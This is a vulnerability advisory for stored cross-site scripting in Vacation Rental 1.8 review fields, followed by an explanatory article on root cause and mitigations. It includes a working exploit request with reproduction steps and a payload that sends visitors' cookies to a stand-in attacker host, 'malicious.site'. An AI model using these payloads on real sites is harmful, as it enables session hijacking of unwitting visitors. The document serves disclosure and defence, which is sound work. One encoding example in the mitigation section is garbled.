Vacation Rental 1.8 - Stored Cross-Site Scripting (XSS)
# Exploit Title: Vacation Rental 1.8 - Stored Cross-Site Scripting (XSS)
# Date: 30/06/2023
# Exploit Author: CraCkEr
# Vendor: GZ Scripts
# Vendor Homepage: https://gzscripts.com/
# Software Link: https://gzscripts.com/vacation-rental-website.html
# Version: 1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
## Stored XSS
------------------------------------------------------------
POST /VacationRentalWebsite/property/8/ad-has-principes/ HTTP/1.1
property_id=8&action=detail&send_review=1&cleanliness=0%3B4.2&comfort=0%3B4.2&location=0%3B4.2&service=0%3B4.2&sleep=0%3B4.2&price=0%3B4.2&username=[XSS Payload]&evaluation=3&title=[XSS Payload]&comment=[XSS Payload]&captcha=lbhkyj
------------------------------------------------------------
POST parameter 'username' is vulnerable to XSS
POST parameter 'title' is vulnerable to XSS
POST parameter 'comment' is vulnerable to XSS
## Steps to Reproduce:
1. Surf (as Guest) - Go to any Listed Property
2. Go to [Customer Reviews] on this Path (http://website/property/[Number1-9]/[name-of-Property]/#customerReviews)
3. Inject your [XSS Payload] in "Username"
4. Inject your [XSS Payload] in "Title"
5. Inject your [XSS Payload] in "Comment"
6. Submit
7. XSS Fired on Local Browser
8. XSS will Fire & Execute on Visitor's Browser when they visit the page of Property you [Inject] the XSS Payloads in & XSS will Fire also on the [Reviews Page]
Note: I think Administration Panel missing a section to Manage [Reviews] on the website
this feature must be added in next Updates [View/Edit/Delete] Understanding Stored Cross-Site Scripting in Vacation Rental 1.8: A Critical Security Vulnerability
Stored Cross-Site Scripting (XSS) remains one of the most dangerous web application vulnerabilities, particularly in platforms that allow user-generated content. The Vacation Rental 1.8 web application, developed by GZ Scripts, has recently been identified as suffering from a critical stored XSS flaw. This vulnerability allows attackers to inject malicious scripts that persistently execute whenever users view the affected property’s review page.
Overview of the Vulnerability
Discovered on June 30, 2023, by security researcher CraCkEr, this flaw exists in the customer review submission functionality of the Vacation Rental 1.8 platform. The application fails to sanitize input data before storing it in the database and rendering it on the frontend. As a result, malicious scripts embedded in the username, title, and comment fields are stored and executed on any visitor’s browser.
Exploit Details
Attackers can exploit this vulnerability by submitting a crafted review with XSS payloads in the following fields:
username– User's name fieldtitle– Review titlecomment– Review content
Below is a sample malicious request that demonstrates the exploit:
POST /VacationRentalWebsite/property/8/ad-has-principes/ HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
property_id=8&action=detail&send_review=1&cleanliness=0%3B4.2&comfort=0%3B4.2&location=0%3B4.2&service=0%3B4.2&sleep=0%3B4.2&price=0%3B4.2&username=<script>alert('XSS!')</script>&evaluation=3&title=<script>document.cookie='hack=1';</script>&comment=<script>window.location='https://malicious.site/?c='+document.cookie;</script>&captcha=lbhkyj
Explanation: This POST request injects JavaScript code into three user input fields. When the review is saved, the script is stored in the database and rendered on the property’s review page. Any visitor browsing the page will trigger the script execution — resulting in a pop-up alert, cookie theft, or redirection to a phishing site.
Impact and Real-World Consequences
Stored XSS is especially dangerous because it is persistent. Unlike reflected XSS, which only affects users who directly trigger the malicious URL, stored XSS affects all visitors who view the compromised property’s review section. This creates a broad attack surface.
Real-world implications include:
- Session hijacking: Malicious scripts can steal session cookies, allowing attackers to impersonate authenticated users.
- Phishing attacks: Scripts can redirect users to fake login pages or display deceptive content.
- Defacement: Attackers can modify the display of review pages to show misleading or harmful content.
- Malware delivery: Embedded scripts can load external malicious code from third-party servers.
Why This Happens: Root Cause Analysis
The vulnerability stems from a lack of proper input sanitization and output encoding. The application does not:
- Validate or escape user input before storing it in the database.
- Use context-aware encoding when rendering content on the frontend.
- Implement a content security policy (CSP) to block unauthorized script execution.
Even though the application uses a captcha mechanism to prevent automated submissions, this does not mitigate XSS — as attackers can bypass it using manual or automated testing tools.
Recommended Mitigation Strategies
Security experts recommend implementing the following best practices to prevent stored XSS:
- Input Validation: Reject or sanitize any input containing script tags, JavaScript keywords, or HTML entities.
- Output Encoding: Always encode user-generated content using HTML entity encoding (e.g., < → <).
- Content Security Policy (CSP): Enforce a strict CSP header to block inline scripts and unauthorized external resources.
- Review Moderation: Implement an admin panel to manage, review, and delete user submissions before they are displayed.
Example of improved code (PHP-based sanitization):
// Sanitize user input before storing
function sanitize_input($input) {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
// Usage in form processing
$username = sanitize_input($_POST['username']);
$title = sanitize_input($_POST['title']);
$comment = sanitize_input($_POST['comment']);
Explanation: The htmlspecialchars() function converts special characters like < and > into their HTML entity equivalents, preventing script execution. This ensures that even if an attacker submits <script>alert('XSS')</script>, it will be rendered as plain text, not executable code.
Vendor Responsibility and Future Updates
According to the report, the GZ Scripts developer acknowledges that the administration panel lacks a review management module. This oversight enables attackers to persistently inject malicious content without detection or removal. The vendor should prioritize adding:
- A dashboard to view, edit, and delete user reviews.
- Automated content scanning using regex or AI-based tools to detect XSS patterns.
- Review approval workflows to prevent unverified content from being displayed.
Without such features, the platform remains vulnerable to abuse, even after patching the immediate XSS flaw.
Conclusion: A Wake-Up Call for Developers
Stored XSS in Vacation Rental 1.8 serves as a stark reminder that user-generated content is a double-edged sword. While it enhances engagement, it also introduces serious security risks. Developers must treat every input field as a potential attack vector. The absence of proper sanitization and moderation tools is not just a technical oversight — it’s a critical security failure.
For users and administrators, this vulnerability underscores the importance of:
- Regular security audits.
- Monitoring user submissions for anomalies.
- Keeping software updated with patches for known vulnerabilities.
Ultimately, security is not a one-time fix — it’s an ongoing process. Protecting your platform requires vigilance, proper coding practices, and proactive governance.